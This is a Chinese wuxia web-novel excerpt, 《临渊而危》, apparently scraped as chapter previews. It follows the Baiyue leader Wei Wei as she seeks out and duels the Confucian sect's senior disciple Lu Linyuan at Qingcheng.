《临渊而危》 1. 访青城 《临渊而危》全本免费阅读 清明之日桐始华。 桐花自料峭清明起,开过谷雨,繁茂至盛,到现在晚春将尽,花也荼蘼。 青城街上摩肩擦踵,少年郎发饰簪花,轻裘缓带,提鸟逗雀; 女郎君头戴幂篱,身着胡裙,步摇晃动,举目望去,正是盛世太平景象。 青城酒楼中,一方惊堂木拍下,客店人暖,只听得说书先生声音顿挫。 “日丽唐虞世,花开甲子年。山中无寇盗,地上总神仙。” 这就是开篇了,人声鼎沸的酒楼内声音稀落下来。 坐在三楼的公子举起的酒杯边沿碰在唇上,往楼下台中看去,等着说书先生下一句。 说书先生拱了拱手。 “各位看官皆知,开阳城自圣祖皇帝起就是国都,被山带河,沃野千里,独以一面制诸侯。而青城为何能成西都,与开阳两都并举?” 下面有急性子的迫不及待开口:“我们青城有儒宗!最大的山头在我们这里!” 众人轰然大笑,说书先生也展扇,待笑声渐平,才道句是极。 “青城人杰地灵,儒宗先祖孔圣出生于此地。此后人才济济,出过多少文人墨客,讲的是修身治国平天下,学的是礼乐射御书数。至今七百余年,成就儒宗大名。” “而如今提到儒宗,就不得不提到如今的儒宗首席大弟子——陆临渊。” 丰隆酒楼旁的青石板路上,伴着一层接一层的说书声,有人坐在高头马上,夹了夹马腹,离酒楼越来越近。 迎面是吹面不寒杨柳风,大宛马悠然踏着满路桐花,随着马蹄而飘动的落花,像是扬起碎雪粒。 大宛马鬃毛如流漆,一打眼就知道是不得了的宝贝。那人到了酒楼门前,立马有迎客的小厮上前去,牵住缰绳,殷勤道。 “客官可是想来我们丰隆酒楼?今日有五味炙小鸡,银龙羹,玫花乳酥,碧筒美酒——凡是吃过的,没有说不好的。” “……” 修长白皙的手点了点折起来的马鞭,玉石碰撞的声音响在少年的腕骨。 “除了山林野味,都要一份。” 声音慵懒随意,似乎有些困倦,却让人觉得不一般。 大主顾! 小厮忍不住回头,正见对方左手扔过马鞭,握鞭处用的鹿骨,顶上缀着绿松石。 她扔过鞭子的那只手上也带着许多戒指,金的,银的,玉的,宝石的……大巧不工,缀地琳琅满目。 马上的那人是位十七八岁的少年,穿着海青色胡袍,抬手时露出一截玄黑袖角,不知是什么质地的刀鞘挎在腰侧,一只手搭在银色刀柄上,从马上一跃而下。 手上带着的戒指不免微微磕碰,玉石相击,像是铃声。 “……话说二十年前,如意四年,百越忽然侵犯我祯朝边疆百姓,一时间白骨露於野,千里无鸡鸣。” “那百越妖人擅长蛊术,边疆瘟疫横行,死伤无数,幸得天庇佑,朝廷急派军,众多江湖人士也不畏生死,前往相助。” “当时儒宗掌门徐潜山不过二十余岁,一片赤子丹心,千里迢迢从青城去往边疆。等事情平息回来时,他带回一个因百越战乱父母丧命而无人抚养的孩子,正是如今的陆临渊。” 说书人眉飞色舞,声音在丰隆酒楼铿镪顿挫。 “这陆临渊,可是个少年天才。” “儒宗山门有求己崖,历代弟子修身养性,以在求己崖灭灯为证。” “陆临渊十三岁灭求己崖心灯十七盏,十五岁闭关,十八岁下儒宗,神不知鬼不觉跑到南疆百越。” “他一为了报当年父母丧命之仇,二为了家国大义,向百越五位高手发出战帖,一人力战四位高手,一把君子帖横在他们脑袋上,逼他们立下五年之内不得进犯我祯朝边境的誓言。” 台下众人一片叫好声,有人扔了打赏的银子上去,高声喊道:“先生莫要点炮,不是说了下了五个战帖,却只打了四个,还有一个呢!” 说书先生满面笑容,弯腰捡了几件贵重打赏放在桌上,连连赔笑。 “正是正是,这位百越妖女,便是我马上要说的。” “这妖女天生神力,武艺高强,却极少出面,连陆临渊亲自下的战帖也置之不理,那日南疆比试,妖女未曾到场,故而不曾被陆少侠打败。” “说起这妖女,有人说她满面恶疮,面目丑陋,腰似粗蛇,肋生双翼,正是密密牙排钢剑,弯弯爪曲金钩——” 台下传来一阵嘘声。 说书人面不改色,见风使舵的本事一流,却是话头一转:“也有人说她貌若仙子,比玉香尤胜,如花语更真。柳眉横远岫,檀口破樱唇。” 有执扇书生闻言摇晃脑袋:“卿本佳人,奈何做贼啊。” ** 城中种满了白花泡桐,一阵风吹过,青石板上似积着一层桃花雪。 穿着海青色胡袍的少年跟着引路的小厮走上楼去,听到这句,忽然顿了一顿。 “佳人做贼?” 小厮本是眼观鼻鼻观心,闻言低头看了一眼少年装扮。 她身量高挑,胡袍干练,腰上别着一把长刀,手背青色的脉络凸起,修长的指尖点着刀鞘上银色的纹路。 一个行走江湖的女子,听到这些话自然会很不畅快,小厮连忙点头:“说书是下九流,娱人消遣,不值当女侠放在心上。” 然而他却没有听到回应。 小厮以为是客人生气了,察言观色的本能让他抬起头来,想要看清客人的表情,揣摩客人的心意。 但他只看到一双通透净湛的眼睛,并无过多的情绪,像是黑夜里悬着的一颗星子。 仿佛她只是说了一句理所当然的话。 从三楼下来一位公子,错身路过听到这话时忽然摇了摇头。 “这话说得不好。” 对方带着一条青色的抹额,穿着青绿色的广袖长袍,看着与魏危年纪相仿,眉如墨画,醉玉颓山,只是眉目中显出一点苍白,像是哪家的富贵公子。 小公子摇摇晃晃,推开想要搀扶自己的随从,认真看着魏危。 他酒意浸到眼睛里,显得亮晶晶的:“三教九流之说起源于春秋,原先只有九流,儒道墨阴阳皆在其中。可是如今儒宗成了显学,就有人把这九流安在百姓头上,分出个三六九等来,不好,不好。” 魏危皱眉:“……” 他在讲什么? 小厮不想自己的话被这位爷听到了,忍不住摸了摸额头上的汗,朝魏危侧过身子,介绍道:“这位是日月山庄的少公子,乔长生。” 后面跟着的侍从低声:“少公子,你喝多了。” 魏危听到个“儒”字就将乔长生说的一长段话丝滑从脑子里过出去,但她能听明白两个“不好”。 魏危面无表情:“这说书人骂我。” “哦?”乔长生愣了下,一只手撑在栏杆上,努力眯眼想看清面前的人。 晚春已尽,初夏将至,桐花正盛,她骨节上琳琅的戒指反射着树中漏下来阳光,像是流淌的蜂蜜,刺人晃眼。 半晌,乔长生放弃一般闭上眼睛:“那你该骂他。” 乔长生有些晕眩,扶着自己额头顿了顿:“只是不该说他们是下九流。” 魏危:“我没有说。” 侍从三番五次想要搀扶乔长生都被自家主子推开,心中恼火却不好忤逆他,只好瞪着魏危,无法对正主发泄的怒气化成咄咄逼人的言语开口道:“我家少公子说你说了就是说了,你当自己是什么东西,也不出去打听打听日月山庄的名号!” 话音未落,眼前寒光骤然一闪。 谁也没看清魏危是怎么出手的,她右手抓住刀鞘,似乎只是平平常常一招转式,连出鞘都没有出鞘,刀柄却已至身前,狠狠击中侍从胸口鸠尾穴。 侍从感觉自己的胸骨好似被人捅了一刀,脑中一片空白。 常年习武的习惯让他下意识想要抽出鞘中长刀,却早被对方看穿一步,单手将长刀推回剑鞘。 刀鞘在他脖子那绕了一圈,接着魏危反手一摁,鞘尖砸中脊椎,侍从前后吃痛,被重重砸进了地板上。 刀未出鞘,却让人产生了能劈金断玉的错觉,侍从痛得眼泪都出来了。 这套动作仅在一瞬,魏危面上一脸平静,仿佛刚刚像是要大开杀戒的不是她。 她淡淡:“我不知道日月山庄是什么。” 侍从心下有些骇然。 这语气…… 这语气太平常了,不像是挑衅 2. 儒宗门 《临渊而危》全本免费阅读 是夜。 青城山上有儒宗,儒宗门中有三十二峰。 天下闻名的儒宗,就在青城城门外的高山之上。 当年创立儒门的孔圣教化自己三十二弟子时,曾言“以一灯传诸灯,终至万灯皆明”,并亲自点燃烛火,彻夜高照。 至今七百余年,儒宗正峰上齐物殿内,那盏灯火依旧燃烧,通宵达旦。 青砖落桐花,月光亮如冰。 魏危眯起眼睛,就在一眼能望到儒宗山门的屋顶上站着,仰视着那在黑夜中彻夜不熄的灯火。 “欲叩儒道门,先登圣贤梯。” 对大多数人来说,去儒宗只有一条路,那就是山下那三百二十阶圣贤梯,老老实实一步一步走上来,皇帝也不能免俗。 但对轻功上乘者,就有另一条路了。 ——无悔崖。 儒宗三十二峰,最矮的那座名为“坐忘”,正是陆临渊所居住的那座。 而坐忘峰连着山下,就是无悔崖。 世人皆说,儒宗掌门徐潜山对他这位大弟子极为疼爱,力排众议,将一峰之位划给陆临渊一人居住。 虽然世上能通过无悔崖上山的人寥寥无几,但也不是没有。 魏危十分好奇,难不成这徐潜山不怕哪位武林好手大半夜从无悔崖上去,了无生息地结果了他的宝贝徒弟? ** 到了无悔崖前,魏危往上看去,危山高百尺,藤蔓参差,石壁带藓,几乎垂直,稍有不慎跌下去就是粉身碎骨。 从地下到山上近千仞,一点歇脚的地方都没有,正如名字所言——登而无悔。 但这难不住魏危。 武学中,有一样东西是绝无可能随着年龄的增长而进益的。 那就是轻功。 人的身量随着年纪变化而增长,所以中年人天生不如少年人,男子天生不如女子。 而江湖上哪怕有好事者出一个轻功排行,魏危也绝不会低下前三。 魏危足尖点地,拔地而起,不沾尘土,即落即上,像是蜻蜓点水一般,浑身一点分量都没有,似乎初春最嫩的一片叶子就足以借力。 深夜更露重,水汽沾染了眼角,幽幽崖风灌上来,遇到崎岖不平的,她便抽刀而出,飞快掠过满目苍翠之色。 如登云梯,魏危像是一只猫儿,轻飘飘翻落到坐忘峰上。 无悔崖旁,只有一条被人踩出来的羊肠小道,孤零零一座八角凉亭。 登上无悔崖,底下就是闻名天下的儒宗。 青城至今还流传着圣人骑牛过山关,朝游北海暮苍梧的传说。 魏危就站无悔崖的边缘,往前走了几步,忽而踩了踩,又跳了跳。 好像与她们百越也没什么不一样。 月色清寒,照着枝头的桐花,山上的节气与山下有些许不同,山下桐花已到荼蘼,山上却还是清明景象。 朔风摇动桐花树枝,魏危往小道的尽头走去。 她要找的是陆临渊。 第一,两年前对方来百越时,她接到战帖,粗粗看见了个“儒”字就丢在一旁,闭关了两年之久。 第二,她想问一句这战帖还做不做数,若是作数,今晚他们两个可以痛快打一场,若是不作……那他们也得打一场。 毕竟来都来了。 魏危指尖点了点刀柄。 走了没有多久,面前出现一栋四合院落式的屋子,样子并不十分显赫,高墙深院,屋顶铺着黛瓦,檐角的占风铎在风中轻轻晃动,里头还点着灯。 屋子自然是关紧的,魏危收起战帖,右掌攀墙轻轻一跃,翻至墙内,桐树在风中簌簌摇晃,如雪花飘飞。 灯已熄,只有院中左边还有昏黄的亮光,隐隐可见人影。 魏危靠近,察觉到屋内远高寻常的温度,不由得皱了皱眉,在极不起眼的角落戳了个洞,看向屋内。 雾气弥漫,水汽湿润了月色,像是渐渐烧起来。 魏危眨了眨眼睛。 真巧啊,赶上人家洗澡了。 ** 房间内的人忽然顿了顿。 那人背对着魏危,加之烟雾缭绕,魏危看不出对方的身份,不过进来时她觉察到,这么大一座屋子里头只有这一个人,想必是陆临渊本人没有错。 那人微微侧过头,似乎是察觉到了什么,以魏危的角度,只能看见他的头发披散在浴桶之外,以及搭在木质浴桶上的一只手。 魏危瞳孔未动,还是一动不动地看着他,以儒宗的标准来,此举算得上放荡。 ——虽然魏危只是在想,这人准备什么时候从浴桶里出来。 魏危:“……” 房内泡澡的人:“……” 魏危就站在门口等着,夜色凉凉沁下来,一轮明月挂上桐树枝头,新月清晖。 不知道过了多久,屋内的人微微矮下身,传来水声,魏危不由精神一凛,以为对方终于是要出来了。 然而那人只是换了个动作,将自己缓缓沉入水中,连着那墨发也如绸缎一般抽走,泡在了水里。 魏危:“啧。” ——一刻钟过去了,没好。 ——三刻钟过去了,没好。 ——半个时辰过去了,怀疑是不是泡晕了,考虑要不要把他从浴桶里捞上来。 魏危从百越到中原之前就听人说过,中原人做事总是磨磨唧唧,十句只有两句有用,但她不会想到居然会有人在浴桶泡半个时辰。 水仙也没有这么泡的,他要在里头开花么? 魏危在外头耐心等了足足半个时辰,等到烟雾逐渐散去,浴桶里的水凉得大约可以冰浴,魏危也已困得支起头,才听到屋中那人轻轻叹气的声音。 那人从水中起来,微垂羽睫不知道在想什么,捞起一件白色里衣,从浴桶里出来,水淋淋滴落在地上。 刚刚沐浴完,总要花上一段时间打理自己,魏危已做好再等上半个时辰的心理准备。 但下一秒,那人便推开门,带着满屋子水汽,来到魏危面前。 他浑身湿透了,只穿着一件白色里衣,披一件青色外套,头发也只是胡乱擦了擦,墨水浸润一般,正往下淋淋滴着水。 像是水里爬出来勾人艳鬼。 “怎么不动手?我等了你很久。” 陆临渊这么说着,微微地笑,墨色的眼眸仿佛含着黑夜里的云影。 可能是在水中泡得太久了缘故,陆临渊的皮肤显出几分苍白。 他的眼睛是漂亮桃花眼,在月下含着笑意,本应该显得几分风流,就算本性不是, 3. 圣贤梯 《临渊而危》全本免费阅读 魏危平生只追求一件事情。 ——天下第一。 魏危是被百越的山水养出的鬼才,她出生在百越,不知道父亲是谁,唯一的母亲也因生她而死。 她没有朋友也没有师父,陪她长大的只有百越十二尸祝。 虽然她天生就是百越巫祝继承人,但刚刚开始,没人把这个瘦小的姑娘放在眼里。 直到三年前,她将百越反对她做巫祝的人杀了个干净。 等百越各个部落赶到时,只见满墙刀痕中洇满血色,魏危独立血泊之中,竟是一人连挑数十位百越高手,将他们一一杀死。 百越信奉实力为尊,此战过后,魏危百越巫祝的地位势必无法撼动。 众人神色各异,西瓯一位长老抢先一步跪下,口中称臣,却在抬头那一瞬间,舌头底下藏着的梅花镖旋飞而出。 只是暗器未吐出三寸,长刀已骤然出鞘。 近距离面对死亡,魏危甚至连眼睛都没动一下,右手持刀砍下对方的脑袋,左手抬起屈指一弹。 “铮——” 长老睁大眼睛,头颅滚落到地上,而梅花镖被这一招“仙人指路”深深打入墙中一寸之深。 朱虞长老冷笑一声,一脚踹倒那西瓯长老的尸体,率族人护在魏危两侧。 “巫祝大人先前就已打败十二尸祝,已是名正言顺的百越首领,宵小无知,自不量力被大人杀死,乃是自作自受。尔等还有谁要试一试!” 百越的朱虞部族是魏危母亲给她留下的,无一人不奉魏危为尊,哪怕魏危就是个不事生产的废物,她们也能捧着她做一辈子的巫祝吉祥物,更别提魏危如今是个武学上的鬼才。 朱虞族有了魏危,等于猛虎添了翅膀。 在场人无不胆寒,再生不出异心,生怕魏危上位之后还要清算。 可怜百越剩余几大部族每日胆战心惊,生怕这位百越的新主人喜怒无常,哪天翻脸无情。 没想到魏危坐上百越巫祝的位置之后就没什么动静,甚至在一年后就选择了闭关修炼。 出关后,魏危听说当年中原那位陆临渊,竟只身一人打败了百越四大部落的巫咸,便一人一马,带着那封战帖,去了中原。 魏危三年前已打败了百越所有高手,她前去中原,就是为了挑战中原第一。 如此,耗费了整整三年百越那些长老才明了,魏危对权力、势力、金银都不感兴趣。 她只想做天下第一。 ** “三更天了,巫祝大人来这里,就是为了与我切磋?” 水渍在陆临渊耳鬓蜿蜒,他语气淡淡,添了几分疏懒颓唐之意。 他问:“这未免太晚了一些,百越人不要睡觉的吗?” 魏危回:“我下午在酒楼里睡饱了。” 陆临渊微微挑眉:“哪个酒楼?” 魏危:“丰隆酒楼。” 陆临渊轻轻哦了一声:“他们家的樱桃毕罗好吃。” 魏危没有赞同:“不如玫花乳酥。” 两人一个百越巫祝,一个儒宗弟子,深更半夜对着一家酒楼的菜开始月旦品评,竟说得有来有回,份外和气。 魏危有些奇了:“你是儒宗的人,我虽不太晓得儒宗的典故,但知道一句,‘君子远庖厨’。” 看陆临渊这如数家珍的样子,分明近的很呐! 陆临渊姿如圭壁,漫不经心折断探进廊中的一枝桐花:“君子远庖厨是为了不忍见杀生,不是不近庖厨。” 来之前魏危听说过陆临渊许多事情,比如他的剑叫君子帖,又比如他的剑和人一样,温和端正,从不杀人。 虽然魏危知道江湖传言不可信,陆临渊和“渊淳岳峙”“温和端正”之类的词沾不上边,但杀不杀生总要有人亲眼见证,陆临渊不常出青城,实在没什么杀生的理由。 哪怕是百越那回比试,陆临渊也放过了她的四位属下。 于是魏危想了想,自认为很有心机地追捧一句:“我听说你的君子帖也不杀生。” 陆临渊指尖挑拨着那枝桐花,不知道在想什么,忽然抬起手,将白色的花卷入唇舌,塞嘴里吃掉了。 桐花有些苦涩味,但陆临渊眉目未动,仿佛什么事都不会令他失去理智。 他说:“不是。” 魏危:“嗯?” 陆临渊:“我杀不杀生,取决于有没有人看着我。” 魏危声音拖长,又“嗯?”了一声。 杀生自然没什么大不了的,魏危刀下的亡魂没有数千也有数百。但是这话从儒宗掌门的弟子说出来,简直有点魔幻。 魏危已经脑补了陆临渊孤月夜在青城中独行,一席青袍沾染血迹,如阿鼻地狱里爬出来的修罗的场景。 陆临渊含笑淡淡,将没了花的桐枝扔到树下:“我又没有说杀人。杀人,杀牲畜,不都是杀生吗?” 魏危:“……” 魏危眨了眨眼睛:“我还以为你经常下山杀人呢?” 陆临渊:“为何会这么想?” 魏危:“我看见了。” 陆临渊一顿。 魏危笃定:“坐忘峰上只有你一个人,无悔崖边的脚印也只是一个人的,你曾经在无悔崖边很久,至少去了那边几千趟。” “……” 陆临渊似真似假的笑意淡下去。 他幽幽看着她,眼睛像是慢慢长夜中一颗星子,闪烁着不知道在想什么。 沉寂中,只有院中央的桐花树被夜风吹动,银白的清辉点缀在枝头。 魏危顿了顿,踩了踩院中石子路,先把高帽子戴上去:“我知道你们中原人最守诺——此番我来的仓促,礼物会在明天送到。此战过后,我不再会为了此事打扰你,百越也不会因此打扰儒宗。” 陆临渊:“……” 魏危往后退了一步,缓缓拔出腰际长刀。 “刀名霜雪,请战君子帖。” 长柄冷刀,顺着刀柄延伸出五尺,开有血槽,出鞘时寒刃如雪,只是看一眼,就让人感觉像是被刀刃擦了一道。 陆临渊眼皮一跳:“等……” 话音未落,寒光映照桐花,长刀枭首而来。 清亮的一抹刀光从上至下,“铮”的一声,一把长剑骤然出鞘,在千钧一发之际拦住了魏危的霜雪刀。 两把兵器碰撞的声音惊扰了山中之鸟,魏危正面与陆临渊对视之时,鸟雀也簌簌展翅飞走。 君子帖长约六寸,本是君子之器。 只一个照面,魏危就能感受到剑身上的端正气韵,不由得挑眉,一招射雁式往前架了一步。 陆临渊右脚蹬地顺势凌空而起,人在半空一个旋身,落至魏危身后。 魏危几乎是瞬息折腰,反应极快地臂外旋向后反刺长刀,玉带拦腰截断陆临渊下路。 陆临渊当机立断,往后急退几步,让出刀剑身位,魏危手腕一翻,陡然发 4. 坐忘峰 《临渊而危》全本免费阅读 “还要打么?” 陆临渊的声音勾着魏危的的心神。 檐角的占风铎被风吹动,发出悠远的声响。 梅花桩上,陆临渊一袭青色的长袍簌簌而动,身后泼墨一般的夜色上,群峰如古画连绵不绝,成了他的底色。 他含笑看着她。 魏危手指有些痒,心脏跳得轻快。 她想起她出关时,来迎接她的楚凤声被迫与她过了几招,不出意外十招之内被干净利落夺了武器。 楚凤声望着空落落的手,属于她的金鞭被魏危扔过来,一时间有些感慨:“……巫祝大人又精益了。” 魏危没有回头:“你当年选鞭子就已经落了下乘,若要人不近身,不如听我的学重剑。” “还是算了。”楚凤声闻言摇了摇头,忽然又想起什么,复而出声。 “巫祝大人这身法倒是让我想起一个人。” “谁?” “陆临渊。” “不认识。” 楚凤声顿了顿,就同她说,两年前魏危闭关那天,百越那个下战帖的儒宗弟子,将她在内的百越四位巫咸都打败了。 魏危这才提起一丝兴趣问:“我和他比起来,如何?” 楚凤声久久不言,等魏危有些疑惑地“恩?”了一声,她才缓缓开口道:“难说。” 魏危闻言转过头。 她第一次听见楚凤声对自己说,难说。 ** 魏危来中原之前想得很好——她先来儒宗,会一会这位把百越四位巫咸打败的陆临渊。 等败了他,再去其他地方与江湖上排名前十的侠客高手切磋,最终成为天下第一。 儒宗弟子不入江湖排名,魏危知道连胜四位巫咸的陆临渊必定不俗,却不想她头一个挑中的,就能与她打一个平手。 魏危稀薄的、身为百越巫祝不多的责任心令她上下打量了一眼陆临渊。 ——中原高手若都是陆临渊这个标准,那百越那群草包当真岌岌可危。 陆临渊眉头忽然一蹙:“你刚刚好像对我有杀意?” 有一瞬间确实想永绝后患的魏危:“……” 魏危手指点了点刀柄,选择倒打一耙:“一瞬而已,儒宗人没有这么小心眼吧?” 陆临渊挑眉:“没听说过有人慷慨大方自己的性命的。” 魏危顿了一下:“各地或许风俗不同。” 陆临渊:“……” 看这架势,今天必定不能善了。 今夜月亮足够明亮,足以遮住陆临渊眼中思索。 魏危脚下一蹬,霜雪刀刀尖划过地面,徒生冰冷之寒气,又是一回合。 君子帖比霜雪刃短上一些,但在陆临渊手里用的已臻化境,比刀法来说,多了奇诡的变化。 魏危有心想试一试君子帖的极致,刚刚开始并未出杀招。 霜雪刀左右平斩,皆被陆临渊抹剑躲过,在魏危欺身上前一刀竖劈的间隙,君子帖如同软剑,在劲力下竟如同游蛇一般缠绕上去。 魏危往后退了一步,一招压刃杀颈。 陆临渊虽进了一步,身前破绽却漏了出来,只好侧身格剑,顺势进步刺剑,以攻为守,却不想魏危直接抬脚斜踹上君子帖,力道之大几乎脱手而出。 魏危斜切出刀,在陆临渊竖剑格挡时,忽然变线下劈,陆临渊猝不及防反手腕架住,但已输了一招。 高手之间,一招之差,就能分出生死。 陆临渊飞快后退,内含搅剑阻拦霜雪刀,而魏危破开洗剑之势,直刺陆临渊咽喉。 陆临渊仰头避开这一杀招,可这样也失了下盘视线,魏危横剑下压,陆临渊下路被封死,弯腰以抵挡缠头连环扫刀。 四轮过后,魏危翻身一个借力,陆临渊虎口发麻,霜雪刀竟是直接缴了君子帖。 失了兵器,陆临渊脚下又被一绊,背部落地被踹倒在地上,脑袋险些撞到石头上,头晕眼花还未分出个东南西北,忽然“唔”了一声,手指反射性屈起,咳嗽一声。 下腹有一股力道传来,正是魏危压在他身上,右手的霜雪刃倏而抬起,只来得及看见一线白光,贴着他的脸猛地插入地面。 陆临渊:“……” 坐忘峰上一点声音也没有。 他被魏危压在地上,魏危的膝盖抵 5. 有朋自远方来 《临渊而危》全本免费阅读 被魏危这一顿搞下来,陆临渊眼神清澈不少。 陆临渊起来之后叹了一口气,与魏危说外面夜风凉,不如进屋详谈。 魏危也不客气,跟着他直接进了卧房。 陆临渊无言了一会:“正屋是待客的地方。” 魏危:“我也不是什么正经客人,随意就好。” 陆临渊低头看了一眼自己的衣服,心想他是进来换衣服的。 他沉吟,还想要挣扎一下:“我总还是要点清白的。” 魏危奇了:“儒宗孔圣说过男女共处一室就没了清白么?” 陆临渊想,孔圣还没说过男女脱了衣服共处一室就没了清白的,他老人家大约也没想过后人会这样。 陆临渊静了静,只好妥协又披了一件鸦青银线鹤氅。 虽说过了清明,但山上的寒意仍不可小觑。陆临渊先前泡了冷水澡,又与魏危在寒风中打了三个回合,此刻身上冷冰冰的。 他点起灯,从暖水壶里倒了些热茶,切了生姜末一冲,又点了炭火,屋子里总算有了些热气。 魏危抱刀,坐在椅子上等他。 整个四合院子端肃井然,大大小小起码有二十多个房间,但真正被陆临渊常用的却没几个,就连整个卧房也并不富丽堂皇。 魏危上上下下打量了一下,房内很简约,门旁是红木和合窗,龟背锦窗棂格透着月色。 屋内分出两进,外头是木桌与几架多宝格,右边是整面墙的书橱,里头是一张月洞床,以落地明罩分开。 用的器物清贵不华丽,只令人觉得沉稳,很是符合儒宗弟子的身份。 魏危想,这地方不错。红木和合窗宽敞,藏不住人影,若是外头的人攻进来,可以从床头棂格撞出去。 陆临渊拿起姜茶盏,那辛辣的味道就算隔着一个屋子魏危也嗅得出来。 但陆临渊仿佛没有味觉一样,面不改色喝下。 魏危觉得差不多了,就抬了抬下巴开口问道:“为何不愿意和我认真打?我来儒宗,只是来找你切磋的。” 陆临渊拎起茶壶,为她倒了一杯白水:“实在抱歉,我这人有个毛病。” 魏危洗耳恭听,以为陆临渊要说出什么功法破绽,积年沉疴之类,却只听见陆临渊微微叹息。 “只要死不了,我就不想动弹。” 魏危怀疑自己的耳朵出了问题:“?” 魏危:“什么意思?” 陆临渊微微笑着:“因为你不想杀我,所以我就没有必要与你生死相搏斗。” 魏危冷不丁开口:“如果我想杀你呢?” 陆临渊挑眉:“你杀我,我就会死啊。” 魏危:“……” 魏危本来觉得这些年她一心想要当天下第一是练武练傻了,没想到强中自有强中手。 她摸上桌子的杯子,喝了一口水,还是温热的。 陆临渊单手晃了晃杯中的姜茶,声音淡淡:“我不知道百越是什么样子,但巫祝大人有没有讨厌的东西或是事情?” “有人数年如一日的让你做一件事,就算是本身并不讨厌,也很难对它生出喜欢的情绪来。” 魏危看着他,语气平平:“所以你讨厌练武?” 陆临渊“啊”了一声,眨了一下眼睛:“我说得这么明显。” 魏危眯起眼睛:“你这么讨厌练武,偏偏是个练武的奇才。我敢说你们中原加上我们百越,没有人比你根骨更好,你这种人就算三岁捡起一根树枝,十八岁也能成为大侠。” 陆临渊这次是真的笑了:“承蒙巫祝的夸奖,可惜我这天赋没法给别人。” 儒宗说勤能补拙,但对真正攀爬到顶峰的人来说,才知道天赋这两字有多重要。 江湖中,一个人若在少年时不能在江湖上排上名号,那这一辈子的武学造诣也就到头了。 魏危有些不甘心:“真没办法努力一下?我只是想切磋一下,一下而已!” 陆临渊背靠在太师椅上,眼皮都没掀起来:“努力不了,就如巫祝大人一心想做天下第一,我也一心只想在儒宗混吃等死。” 陆临渊是魏危遇见的头一个能与她打成平手的人,但这人居然放着天赏赐吃饭的武学天赋当做玩物,说出“想一辈子在儒宗混吃等死”这种话来。 魏危简直匪夷所思。 魏危盯着陆临渊,陆临渊一双桃花眼也看着她。 “罢了。” 魏危神色凝重,从怀中掏出另一个帖子。 陆临渊见此缓缓坐直了。 魏危与他第一次见面就拿出两年前一封早就遗忘的战帖逼他切磋,陆临渊想,这总不能还有第二封? 魏危道:“借支笔。” 陆临渊顿了顿,把笔沾了墨递给他。 只见魏危蹙眉,表情不是很乐意似的,在帖子上写下了三个字。 ——陆临渊。 陆临渊见魏危在写什么,就好奇转过去看,等看清帖子上的字,不由低低笑出来。 “这是什么,阎王帖么?” 帖子上写了十来个名字,是按照江湖排行榜来的。 江湖上每五年就会在扬州举办一场演武大会,召集天下豪杰互相切磋,一决高下。每此排行榜都会更新,只是儒宗向来与世无争,弟子从不参加江湖排行,故而陆临渊的名字是在帖子上最后一个。 本来陆临渊这个名字已经被划去了,但是刚刚魏危又再把他加上。 看来是魏危来之前自信满满,觉得自己肯定能打败陆临渊才提前划掉的。 魏危把帖子一合,面无表情:“我本来想来青城打败你之后,下一站就去扬州找这个中原第十。” 但是没想到第一步就失败了。 “……” 帖子被魏危放在桌上,陆临渊看着桌上那封阎王帖,伸手拿起,轻轻翻开,一扫上边名姓。 祯朝国都开阳如今风靡楚派侬丽纤长的字体,青城则推崇赵派的宽绰典雅。 魏危的字和这两派都没什么关系——简而言之就是一眼能让人看出来写的是什么。 字如其人,魏危的字干净、利落,就和她的霜雪刀一样。 “其实也不必找别人。” 陆临渊食指在魏危刚刚摁过的地方轻轻蹭了一下,状似无意地丢开帖子,说起这话来也是淡淡的,一点也不猖狂。 魏危不由得看向他。 陆临渊眸中似有星点闪烁,温和如玉的皮下流露出一点张狂的恣意:“你赢了我,就是赢了整个中原了。” “……” 房中一静。 很难想象一向以仁义宽和面世的儒宗弟子会说出这样的话来。 通常这样过刚易折的言语,于武学来说不是一件好事,总有一天会触到霉头,于人亏损。 魏危抚摸刀柄的动作顿了顿,看着他眯起眼睛:“我不信。” 魏危:“有人告诉我,你们中原人最会骗人。” 陆临渊的神色仿佛云雾遮蔽的高山,只能远望却看不见实处。 他似笑非笑:“只要是人都是一样,哪有不骗人的?况且我没有必要骗你。” 魏危:“你们儒宗从不参与江湖排行,而且我听说你除了两年前去百越,从未出过青城,你怎么知道你就是江湖第一?” 陆临渊微笑:“子非鱼……” 霜雪刀被大拇指拨起出鞘一寸,陆临渊噤声,无辜看着她。 这是半点听不得经典教论啊。 过了片刻,陆临渊不知想到了什么,开口道:“……你不如留在儒宗,青城也有好些身手不错的豪杰。” 魏危抱臂:“比起你如何?” 不知不觉,陆临渊已经成为一种评价标准了。 陆临渊沉吟道:“尚可。” 那就是不如何。 魏危指尖点着自己的胳膊,显然还在思考。 屋内那灯盏缠绵的光倒映在魏危那双乌黑的眸子里,露出来的脖颈也打上一层冷釉般的的光泽。 陆临渊眼睛不知道盯在哪里:“儒宗弟子不参与江湖排名,有一些我还没有交过手,或许有更厉害的……” “我等你。”魏危忽然抬眼开口。 陆临渊微微笑着,住了口,看着她。 他披着鹤氅,里头青色的外袍与里衣因为先前的打斗已经松垮下来,领口下可以看见明显的锁骨,目光澄澈而温和。 若只单单看这样的气质,会让人觉得陆临渊是个温润如玉的儒宗君子。 美色当前,魏危与他对视,眼中不见任何动摇:“我等你什么时候有心思和我切磋了再说。” 百越人对猎物一向很有耐心,况且以武学造诣来看,陆临渊很强,值得魏危等上这么一遭。 陆临渊还没来得及说什么,就听见魏危咕哝道:“正好我也想知道,儒宗是怎么培养的你。” 方外清灵之地,怎么养出一个与百越十二尸祝喂了上万招的魏危同水平的陆临渊。 陆临渊那双灼灼动人的桃花眼忽如冬风吹过,倏而凋零。 他淡淡:“你最好不要知道。” 魏危只当做没听见。 “好了。”事情暂告一段落,魏危道,“那我就暂且呆在儒宗,你不会明天就去向你师父举报我吧?” 陆临渊的师父是儒宗掌门徐潜山,在魏危所知里,似乎不是位 6. 石韫玉而山辉 《临渊而危》全本免费阅读 山水一色无纤尘,烟销日出不见人。 辰时,一声悠远的钟鸣从正峰高山之处传来,魏危的眼睫颤了颤。 她醒了。 昨夜发生的乱七八糟的事情一下子涌入她的脑子里,魏危眼中淡淡,手中下意识摩挲着霜雪刀的纹路。 陆临渊已不在房中,他的被褥整整齐齐地叠好,像是晚上根本没有睡过一样。 魏危算了算时辰,他至多睡了两个半时辰。 魏危自己从井里打水洗漱,不多时听见外头传来响动,她抬头看向门口,正是回来的陆临渊。 “魏姑娘起了?” 陆临渊神采奕奕,半分疲倦的样子也没有。 他手上还提着一篮子东西,看来是已经出门了许久。 “我刚刚去了三叠峰,他们今日就会把房间打扫出来。”陆临渊将早点从篮子里拿出来放在桌子上。 